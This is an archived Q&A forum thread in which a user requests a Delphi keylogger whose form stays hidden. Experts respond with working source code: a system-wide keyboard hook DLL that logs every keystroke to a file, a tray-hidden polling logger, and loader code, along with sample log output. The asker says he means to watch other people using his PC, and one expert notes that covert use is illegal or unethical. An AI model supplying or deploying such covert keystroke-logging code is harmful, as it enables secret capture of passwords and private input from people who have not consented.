Want to protect your cyber security and still get fast solutions? Ask a secure question today.Go Premium

x
?
Solved

Delphi Advanced Keylogger

Posted on 2004-11-25
13
Medium Priority
?
9,874 Views
Last Modified: 2016-11-06
I need an advanced delphi keylogger
it must catch characters (~!@#$%^&*())
it must catch BackSpace and Enter
it must catch Capital Latters And Small Letters (not all cap or small)
Thx

PS: Not something that you use OnKeyDown, I need a keylogger. The Form would be hidden!
0
Comment
Question by:deathman5
13 Comments
 
LVL 17

Expert Comment

by:geobul
ID: 12676209
Take a look at SetWindowsHookEx API and use WH_KEYBOARD hook type. You have to create a DLL with the hook and an app that will set/remove the hook.
0
 
LVL 17

Expert Comment

by:geobul
ID: 12676300
The following is an example DLL of a WM_GETMESSAGE hook:
// the dll
library TheHook;

uses
  Windows,
  Messages;

var
  TheHookHandle : HHOOK;

function TheHookProc(Code : integer; wParam : DWORD; lParam : DWORD): longint; stdcall;
begin
  result := 0;
  if (Code = HC_ACTION) then begin
      if (tagMSG(Ptr(lParam)^).Message = WM_KEYUP) or (tagMSG(Ptr(lParam)^).Message = WM_KEYDOWN) then begin
        // log the key here and whether it has been pressed down (WM_KEYDOWN) or released (WM_KEYUP)
        // the virtual key code is in  'tagMSG(Ptr(lParam)^).wParam'
        // 'A' = 65 for instance
      end;
  end;
  {Call the next hook in the hook chain}
  if (Code < 0) then
    result := CallNextHookEx(TheHookHandle, Code, wParam, lParam);
end;

procedure StartTheHook; stdcall;
begin
  if (TheHookHandle = 0) then begin
    TheHookHandle := SetWindowsHookEx(WH_GETMESSAGE, @TheHookProc, hInstance, 0);
  end;
end;

procedure StopTheHook; stdcall;
begin
  if (TheHookHandle <> 0) then begin
    {Remove our hook and clear our hook handle}
    if (UnhookWindowsHookEx(TheHookHandle) <> FALSE) then begin
      TheHookHandle := 0;
    end;
  end;
end;

exports
  StartTheHook,
  StopTheHook;

begin
end.

// in the app use StartTheHook from the dll to begin recording and StopTheHook for stopping it, of course.

Regards, Geo
0
 
LVL 5

Expert Comment

by:Hypoviax
ID: 12677176
This is a simple one i wrote. In a text file (chars.txt) you have this

27
 [ESC KEY]
13
 [ENTER KEY]
19
 [PAUSE / BREAK KEY]
144
 [NUM LOCK]
145
 [SCROLL LOCK]
91
 [WINDOWS KEY]
16
 [SHIFT KEY]
17
 [CONTROL KEY]
18
 [ALT KEY]
20
 [CAPSLOCK]
106
*
38
 [UP ARROW]
40
 [DOWN ARROW]
37
 [LEFT ARROW]
39
 [RIGHT ARROW]
9
 [TAB]
8
 [BACKSPACE]
46
 [DELETE]
45
 [INSERT]
36
 [HOME]
35
 [END]
33
 [PAGE UP]
34
 [PAGE DOWN]
44
 [PRINT SCREEN]
192
`
189
-
187
=
188
,
190
.
191
/
186
;
222
'
219
[
221
]
220
\
107
+
109
-
111
/
110
.
96
0
97
1
98
2
99
3
100
4
101
5
102
6
103
7
104
8
105
9
48
0
49
1
50
2
51
3
52
4
53
5
54
6
55
7
56
8
57
9
32
 
65
a
66
b
67
c
68
d
69
e
70
f
71
g
72
h
73
i
74
j
75
k
76
l
77
m
78
n
79
o
80
p
81
q
82
r
83
s
84
t
85
u
86
v
87
w
88
x
89
y
90
z

Then you add any other ascii key code to this list

The program i made:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ComCtrls, JvComponent, JvTrayIcon;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    ListView1: TListView;
    JvTrayIcon1: TJvTrayIcon;
    CheckBox1: TCheckBox;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure Memo1Change(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject); //log the keys
var X,y:integer;
f:char  ;
str:string;
begin

For X:=0 to 255 do
begin
  if ((GetAsyncKeyState($+x) and 1) = 1) then
  begin
  if (x<>1) AND (checkbox1.checked) then //if we want to find the ascii code instead:
  begin
  showmessage(inttostr(x));
  end;
    for y:=0 to listview1.items.Count-1 do //log the key strokes
      begin
       if x=strtoint(listview1.items.item[y].caption) then
       memo1.text:=memo1.Text + (listview1.items.item[y].subitems[0])
     end;
   end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var  F: TextFile;
  S, S2: string;
  listitem:tlistitem;
begin

    AssignFile(F, extractfilepath(application.exename)+'chars.txt');
    Reset(F);
    repeat
      Readln(F, S);
      listitem:=listview1.items.add;
      listitem.caption:=s ;
      Readln(F, S2);
      listitem.SubItems.Add(S2)
    until EOF(F)    ;
    CloseFile(F);

end;

procedure TForm1.FormActivate(Sender: TObject);
begin
jvtrayicon1.HideApplication;
end;

procedure TForm1.Memo1Change(Sender: TObject);
begin
memo1.Lines.SaveToFile(extractfilepath(application.exename)+'log.txt');
end;

end.

Remember it is illegal in some cases and unethical to use a keylogger against users without their knowledge

Regards,

Hypoviax
0
VIDEO: THE CONCERTO CLOUD FOR HEALTHCARE

Modern healthcare requires a modern cloud. View this brief video to understand how the Concerto Cloud for Healthcare can help your organization.

 

Author Comment

by:deathman5
ID: 12680077
thx
Im using this application to keep on eye of things that are going on my PC. Many ppl uses my PC.
anyway,
Im migrating from VB to Delphi, and I am still newbie, so I have a question
mmmm, I have an application, how do I add the dll code to the application it self, without adding a ref(library)
I want the code to be in the exe, not exe and dll.
?
thx
0
 
LVL 17

Expert Comment

by:geobul
ID: 12680353
Then you may look at WH_JOURNALRECORD hook type which doesn't need an external DLL or try Hypoviax' proposal.
0
 

Author Comment

by:deathman5
ID: 12686068
I dont know if you got me, in VB when u make a dll, you make it from class modules and modules.... but you also can add class modules and modules to your application, and thus u can add the code of the dll to your application! (no need for adding a ref to DLL)
Isnt that possible in Delphi?

btw, I tried
File >> New >> Other >> DLL WIZARD
then I added your code and build it
then open new application
Project >> Import Type Library >> Your DLL
I get a msgbox
"Error loading type library/DLL."
why?
0
 
LVL 17

Expert Comment

by:geobul
ID: 12694146
Hi,

It is Windows requirement to make certain system-wide hooks in a separate dll. When you're calling the exported functions from that dll in a Delphi app you can link them either statically or dynamically. There is no type library for importing in that case. An example of static linking follows. Let assume that your hook dll is named 'TheHook.dll' and your app is in the same folder where the dll is. Then in the app:

type
  TForm1 = class(TForm)
    btnStart: TButton;
    btnStop: TButton;
    procedure btnStartClick(Sender: TObject);
    procedure btnStopClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure StartTheHook; stdcall; external 'TheHook.dll';
procedure StopTheHook; stdcall; external 'TheHook.dll';

procedure TForm1.btnStartClick(Sender: TObject);
begin
  StartTheHook;
end;

procedure TForm1.btnStopClick(Sender: TObject);
begin
  StopTheHook;
end;

end.

Regards, Geo
0
 

Author Comment

by:deathman5
ID: 12697192
great it worked but I dont see the results.
where does it save them?
0
 

Author Comment

by:deathman5
ID: 12707859
oh k sorry, lol
question
how to get if shift key is pressed
how to get if caps lock is on?

I think I can do the others :)
0
 
LVL 17

Accepted Solution

by:
geobul earned 400 total points
ID: 12714198
Hi,

The hook dll:
--------
library TheHook;

uses
  Windows,
  Messages,
  SysUtils;

var
  TheHookHandle: HHOOK;
  FF: TextFile;
  FileName: string;

function TheHookProc(Code : integer; wParam : DWORD; lParam : DWORD): longint; stdcall;
var
  LogText: string;
  KeyState: TKeyBoardState;
  VirtualKey: byte;
  ScanCode: byte;
  AChar: array[0..1] of Char;
  buf: string;
begin
  result := 0;
  if (Code = HC_ACTION) then begin
    if (tagMSG(Ptr(lParam)^).Message = WM_KEYUP) or (tagMSG(Ptr(lParam)^).Message = WM_KEYDOWN) then begin
      // record UP/DOWN state
      if (tagMSG(Ptr(lParam)^).Message = WM_KEYUP) then LogText := 'KEYUP   '
      else LogText := 'KEYDOWN ';
     
      // translate the key to ASCII
      GetKeyboardState(KeyState);
      VirtualKey := tagMSG(Ptr(lParam)^).WParam;
      ScanCode := HIBYTE(LOWORD(tagMSG(Ptr(lParam)^).lParam));
      ToAscii(VirtualKey, ScanCode, KeyState, AChar, 0);

      // exceptions
      case VirtualKey of
        VK_BACK: buf := 'Backspace';
        VK_DELETE: buf := 'Delete';
        VK_TAB: buf := 'Tab';
        VK_RETURN: buf := 'Enter';
        VK_SHIFT: buf := 'Shift';
        VK_CAPITAL: buf := 'CapsLock';
        VK_ESCAPE: buf := 'Esc';
        VK_SPACE: buf := 'Space';
        // etc. keys you're interested in
      else
        buf := AChar[0];
      end;

      LogText := LogText + buf;

      // open the log file
      FileName := 'c:\log.txt'; // your log filename here
      AssignFile(FF, FileName);
      if FileExists(FileName) then Append(FF)
      else Rewrite(FF);

      // write to the log
      WriteLn(FF, LogText);

      // close the log file
      CloseFile(FF);
    end;
  end;
  {Call the next hook in the hook chain}
  if (Code < 0) then
    result := CallNextHookEx(TheHookHandle, Code, wParam, lParam);
end;

procedure StartTheHook; stdcall;
begin
  if (TheHookHandle = 0) then begin

    // set the hook
    TheHookHandle := SetWindowsHookEx(WH_GETMESSAGE, @TheHookProc, hInstance, 0);
  end;
end;

procedure StopTheHook; stdcall;
begin
  if (TheHookHandle <> 0) then begin
    // Remove our hook and clear our hook handle
    if (UnhookWindowsHookEx(TheHookHandle) <> FALSE) then begin
      TheHookHandle := 0;
    end;

  end;
end;

exports
  StartTheHook,
  StopTheHook;

begin
end.
--------

The sample text was:
abcdABCD      1234
!@#$

And the log file was:
KEYDOWN a
KEYUP   a
KEYDOWN b
KEYUP   b
KEYDOWN c
KEYUP   c
KEYDOWN d
KEYUP   d
KEYDOWN Space
KEYUP   Space
KEYDOWN Backspace
KEYUP   Backspace
KEYDOWN CapsLock
KEYUP   CapsLock
KEYDOWN A
KEYUP   A
KEYDOWN B
KEYUP   B
KEYDOWN C
KEYUP   C
KEYDOWN D
KEYUP   D
KEYDOWN Tab
KEYUP   Tab
KEYDOWN 1
KEYUP   1
KEYDOWN 2
KEYUP   2
KEYDOWN 3
KEYUP   3
KEYDOWN 4
KEYUP   4
KEYDOWN Enter
KEYUP   Enter
KEYDOWN Shift
KEYDOWN !
KEYUP   !
KEYDOWN @
KEYUP   @
KEYDOWN #
KEYUP   #
KEYDOWN $
KEYUP   $
KEYUP   Shift

You may record KEYDOWN (or UP) messages only and ignore special keys like Shift and CapsLock.

Regards, Geo
0
 

Author Comment

by:deathman5
ID: 12727019
exactly what I wanted
thanks a lot!
0
 
LVL 17

Expert Comment

by:geobul
ID: 12727246
My pleasure :-)
0
 

Expert Comment

by:Mr D P
ID: 41876289
why your code didn't work? i try it
0

Featured Post

Get expert help—faster!

Need expert help—fast? Use the Help Bell for personalized assistance getting answers to your important questions.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

A lot of questions regard threads in Delphi.   One of the more specific questions is how to show progress of the thread.   Updating a progressbar from inside a thread is a mistake. A solution to this would be to send a synchronized message to the…
Introduction The parallel port is a very commonly known port, it was widely used to connect a printer to the PC, if you look at the back of your computer, for those who don't have newer computers, there will be a port with 25 pins and a small print…
This video shows how to quickly and easily deploy an email signature for all users in Office 365 and prevent it from being added to replies and forwards. (the resulting signature is applied on the server level in Exchange Online) The email signat…
Is your OST file inaccessible, Need to transfer OST file from one computer to another? Want to convert OST file to PST? If the answer to any of the above question is yes, then look no further. With the help of Stellar OST to PST Converter, you can e…
Suggested Courses

581 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question